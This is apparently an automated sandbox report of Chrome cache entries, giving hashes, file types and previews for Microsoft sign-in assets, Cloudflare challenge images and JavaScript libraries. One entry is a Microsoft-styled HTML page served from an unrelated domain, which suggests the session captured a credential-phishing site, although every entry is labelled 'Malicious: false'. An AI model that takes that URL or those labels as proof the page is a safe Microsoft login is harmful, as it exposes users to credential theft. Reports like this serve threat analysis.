a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 710x600, components 3
Category:	downloaded
Size (bytes):	88082
Entropy (8bit):	7.973930965043174
Encrypted:	false
SSDEEP:	1536:a4knMdkRJ68p34KcVim6SmKFJTukgRWx4mwLZOJbCJI9MKY09VHSjn:2LLpcVix7yYkgwGL8CJCjeL
MD5:	84C425C08AF94A9552DFB5CFB0898EC8
SHA1:	0C1E75775DE65613CA413A39822AF56C4D8919AA
SHA-256:	97C274A3EADF5CF8487A81B385D3A0C90C7B5B1A43204575056135EB87367FD1
SHA-512:	185AA1E90F07E0A5146B2D36BC16A93446F9742A55BE6F32CD0C2F4C1042D31E8B17CF71063C169A66496BD9AD912E04C52C6BFEAB219E411F05B8E74C497047
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauthimages.net/dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/illustration?ts=636148307647586819
Preview:	......JFIF.............DICC_PROFILE......4........mntrRGB XYZ .........+.8acsp.......................................-....................................................desc.......ybkpt...x....wtpt........cprt........rXYZ........gXYZ........bXYZ........rTRC.......@gTRC.......@bTRC.......@desc........sRGB IEC61966-2-1 black scaled..................................................................................XYZ ...........3....XYZ ...............-text....Dropbox, Inc....XYZ ......o...8.....XYZ ......b.........XYZ ......$.........curv...............b...k...@.Q.4!.).2.;.F.Qv].kpz....\|.i.~...7.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..................................................................................................

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 280 x 60, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	4105
Entropy (8bit):	7.923731279492003
Encrypted:	false
SSDEEP:	96:fjA2Yaol6Dl7kHVbClIw8sw7SMhXlzhYXxoFXPRGs3h7W:fjA2Yx2kHV2Ys3M+aJPRl3o
MD5:	D965BF9273E7F44C0A20714097807411
SHA1:	89EA625729A6539B6AE3BAF02C5D02D8FDDA6765
SHA-256:	96146F0777BCEC70717A757AAD185C7AEC3A3D24CD7069B4E138C91F6B89F665
SHA-512:	0F4CC38C69B7EDDF83DBC8319B35C5B10FDD4B4245563005DA89650E630D7ECD4FAB0FFCC2D9E105F802F425BD70850390477465E1726B192577B8B5D80295F7
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauthimages.net/dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/bannerlogo?ts=636148307564681746
Preview:	.PNG........IHDR.......<.....2.2O....IDATx..g@T.....].t.....(..."....QT...CE4v...OP.....!...g.vA.....{S...R..>l..n..q~...3......3gF\..?...$........@H....!.......`......@H....!.......`.......l.3.L..C....r..6...n....Z.N....&........?...t.:.......v..r..!G..bp_...%...... $.........B..0...... $...0......t......~..N.jl...a0.e.U..]].~."Q.@O...@A^~.C..h4z~Qiu]}_.UF..5r...h.5U.;d0.%e..5..J7..WUU.kj..5.....c!....CgnE...~q0....S...O.....E<%..6V....Y.`."QaH"D..J~..uaIYQIEM]}+...6.@PSU...2.kj?.z..rr..:iln9{.*..<.a.dK...J..\O~..G."\|,..V/su_<_FFF..3.rco$>IM.t. ...h..8{.^...DE.c!).e..2.....N&..m...T......>.:u.Q.0..............<6.]N ....c....o'?.yW........Jni%..y.s=AEYi.Z....p.Q.m..W..F..Q.M...t..$^...........z2.W..........~.2..Cm...........k.r..J......9Zi9Zia....}.OGR.2..o.....t.......zR....'....F..\|.......t.A..M...i....ck^A.@....e.>.B.....v...~..q.....P`hFV. ...Y;...].Ax.q(,)_.r........F."..Cum..Z.Ja.."/.."6t:.{._vn./..7.....FE..=\|v.......c....b.@.....s.>....X...,..B

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (50130)
Category:	downloaded
Size (bytes):	302095
Entropy (8bit):	5.0750404698482425
Encrypted:	false
SSDEEP:	3072:vVTEDvRX6+Jf/lR4OZ/1DGs7nVbqo+kCqnITf8JFI7gtFGOXpvO4/katKOuFB2la:BElJffZDH7VbQuIRB4G4casR/GZW
MD5:	A6055B0E7619C8B8F54A49B903043417
SHA1:	B60A506FE319AA65663042868CFD6839138AFF2C
SHA-256:	DB1ADACDFEF8690D982A61B8A91285927CC7428BE8B8AA46F89DC378E20504E1
SHA-512:	E38201BB1F7D032ECADF599A75C14323E3ED56F7641D8DA88D5F4F35685832AA41A55007F52CA3C4060937AA71D7E394CFA9922CCB0E33ECD8520234290517E7
Malicious:	false
Reputation:	low
URL:	https://gtekuvvait.com/zuprivater/Xdrrwwipj/
Preview:	<html lang="en">.<head>.<meta charset="UTF-8">.<meta http-equiv="X-UA-Compatible" content="IE=edge"/>.<meta name="viewport" content="width=device-width, initial-scale=1.0">.<style> #containerShadow,#ef{border-radius:0 0 7px 7px}#cal,#cal>.r{display:flex}#fmask,#openedFlap{width:var(--envW);height:107px}#cal,#ef,#fmask,#logo{overflow:hidden}#loadingScreen{position:fixed;top:0;bottom:0;left:0;right:0;background-color:#fff}#loadingLogo{position:fixed;top:calc(50vh - 90px);left:calc(50vw - 90px);width:180px;height:180px}#MSLogo{position:fixed;bottom:36px;left:calc(50vw - 45px)}.dark #loadingScreen{background-color:#333}.darkNew #loadingScreen{background-color:#1f1f1f}:root{--s:180px;--envW:130px;--envH:71px;--calW:118px;--sqW:calc(var(--calW) / 3);--sqH:37px;--calHH:20px;--calH:calc(var(--sqH) * 3 + var(--calHH));--calY:calc(var(--calH) + 20px);--calYExt:calc(var(--calH) - 80px);--calYOverExt:calc(var(--calH) - 92px);--flapS:96px;--flapH:calc(0.55 * var(--envH));--flapScaleY:calc(var(--fla

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 74 x 85, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPlFuEI/6hkxl/k4E08up:6v/lhPOEdhk7Tp
MD5:	40334FFD962A0CBC98CB6B4E80BF1D5B
SHA1:	5F7013E907939AAE7B9BDEE55982A80D30C7DD2B
SHA-256:	F7AED100118A078FE8B4E62BE18BC792C4B906CC5748FBF208E16E27AF1311F1
SHA-512:	E73402903AD8A8111FBE973DDAD4E69A2FADABEC1DED9E9062AC5246CD446F768B76DF6F6E533C7E557D6CBBC14AA9C1BDE15EE37595D083793BDEFD2A66E17D
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8cbcae183e2342bd/1727788093972/5ftnKG-0C57dlXg
Preview:	.PNG........IHDR...J...U.....a2.h....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	low
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (54108)
Category:	downloaded
Size (bytes):	54147
Entropy (8bit):	5.276423708593586
Encrypted:	false
SSDEEP:	768:yKpqe+vlxUDY+ujgCFCUG3WiqbfwNz2mPoPyC5m7QFRYdV6ItsL/1bWZj937ZGLl:vpqFkinP5AOYdVs4Rhw
MD5:	271D193B038C85D1FE7EF5FD6121C793
SHA1:	51EBED891D546FA572890D7630F230DC1AD082F2
SHA-256:	F5B2B26071BB59F466683356DF11B5392614CF6966586917990C65D48AF0DCB9
SHA-512:	0DD5FF6301797B8D4E93E008F351C8F1FE7FE54B28C42553F46298651233A4BC5BF13C33E19C0F3D7FA340CC0C84D43D6F9FB30C479F73E75CBD0A0F586359DE
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js
Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(e){var r,n;function o(r,n){try{var a=e[r](n),u=a.value,s=u instanceof t;Promise.resolve(s?u.v:u).then((function(t){if(s){var n="return"===r?"return":"next";if(!u.k\|\|t.done)return o(n,t);t=e[n](t).value}i(a.done?"return":"normal",t)}),(function(e){o("throw",e)}))}catch(e){i("throw",e)}}function i(e,t){switch(e){case"return":r.resolve({value:t,done:!0});break;case"throw":r.reject(t);break;default:r.resolve({value:t,done:!1})}(r=r.next)?o(r.key,r.arg):n=null}this._invoke=function(e,t){return new Promise((function(i,a){var u={key:e,arg:t,resolve:i,reject:a,next:null};n?n=n.next=u:(r=n=u,o(e,t))}))},"function"!=typeof e.return&&(this.return=void 0)}function t(e,t){this.v=e,this.k=t}function r(e){var r={},n=!1;function o(r,o){return n=!0,o=new Promise((fu

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89664
Entropy (8bit):	5.290543045467053
Encrypted:	false
SSDEEP:	1536:SjjxXUHJnxDjoXEZxkMV4PYDt0zxxf6gP3f8cApoEGOzZTBvUsuy8WnKdXwhLQvg:SdeIygP3fulzcsz8jlvaDioQ47GKH
MD5:	00727D1D5D9C90F7DE826F1A4A9CC632
SHA1:	EA61688671D0C3044F2C5B2F2C4AF0A6620AC6C2
SHA-256:	A3CF00C109D907E543BC4F6DBC85EB31068F94515251347E9E57509B52EE3D74
SHA-512:	69528A4518BF43F615FB89A3A0A06C138C771FE0647A0A0CFDE9B8E8D3650AA3539946000E305B78D79F371615EE0894A74571202B6A76B6EA53B89569E64D5C
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.899655489292003
Encrypted:	false
SSDEEP:	3:mSvjnSkkanSiJm8hgjGokRa+:mSvWBanSqLhWxG9
MD5:	95F70C7AF89417898D46638F9DBA9674
SHA1:	09D6848E309EBD8E1003413E23D9D9AE4811F857
SHA-256:	06BFDD4024B0119F18A63E7D39DF0B772FA40F4AF57719640F46D0B1678B503A
SHA-512:	C6A95DB3C9CE1812D0FE4CDCB360545730B9CD42A2A7EC009F19653C13D78124CC5479DDA8E326697241D5902B57485187CA682884F22BA6C10DEF90FDEF06B2
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmgSx-fmPlH4hIFDVDyl8ESBQ1Xevf9EgUNz05QmBIXCUvYCkcni1TKEgUNX1f-DRIFDdRtqt0=?alt=proto
Preview:	ChsKBw1Q8pfBGgAKBw1Xevf9GgAKBw3PTlCYGgAKEgoHDV9X/g0aAAoHDdRtqt0aAA==

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10796
Entropy (8bit):	7.946024875001343
Encrypted:	false
SSDEEP:	192:aPzBBDKs07GiH528urXXSjD4/voR3Euri/in9Q28oLaIAQLdCYXQIDeoIdv60:aPVBQ7P5nIyjD+oRnr4inJdANuGdC0
MD5:	12BDACC832185D0367ECC23FD24C86CE
SHA1:	4422F316EB4D8C8D160312BB695FD1D944CBFF12
SHA-256:	877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
SHA-512:	36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.......dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.\|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H\|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.377567157116928
Encrypted:	false
SSDEEP:	3:mSvjnSkkanSiJm8hRn:mSvWBanSqLhR
MD5:	64A1E2093D22DFAF01A77B7B996870FE
SHA1:	DBD6D6B5620FC6016BE36E63B0E46152125C36FC
SHA-256:	685897DE518AD7A6A46E06D4E4F0B259AA8274F6ED4DA62E6665D366928B829D
SHA-512:	C5FF00EB3F72770CB814C53C404ACC2FE35E7B2B36899D272800F3465D4027FF9C30AA069311D6F5831BF193FF07AD482A8C4490842FD755EB1F9612DFFAD75E
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmgSx-fmPlH4hIFDVDyl8ESBQ1Xevf9EgUNz05QmA==?alt=proto
Preview:	ChsKBw1Q8pfBGgAKBw1Xevf9GgAKBw3PTlCYGgA=

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (54108)
Category:	dropped
Size (bytes):	54147
Entropy (8bit):	5.276423708593586
Encrypted:	false
SSDEEP:	768:yKpqe+vlxUDY+ujgCFCUG3WiqbfwNz2mPoPyC5m7QFRYdV6ItsL/1bWZj937ZGLl:vpqFkinP5AOYdVs4Rhw
MD5:	271D193B038C85D1FE7EF5FD6121C793
SHA1:	51EBED891D546FA572890D7630F230DC1AD082F2
SHA-256:	F5B2B26071BB59F466683356DF11B5392614CF6966586917990C65D48AF0DCB9
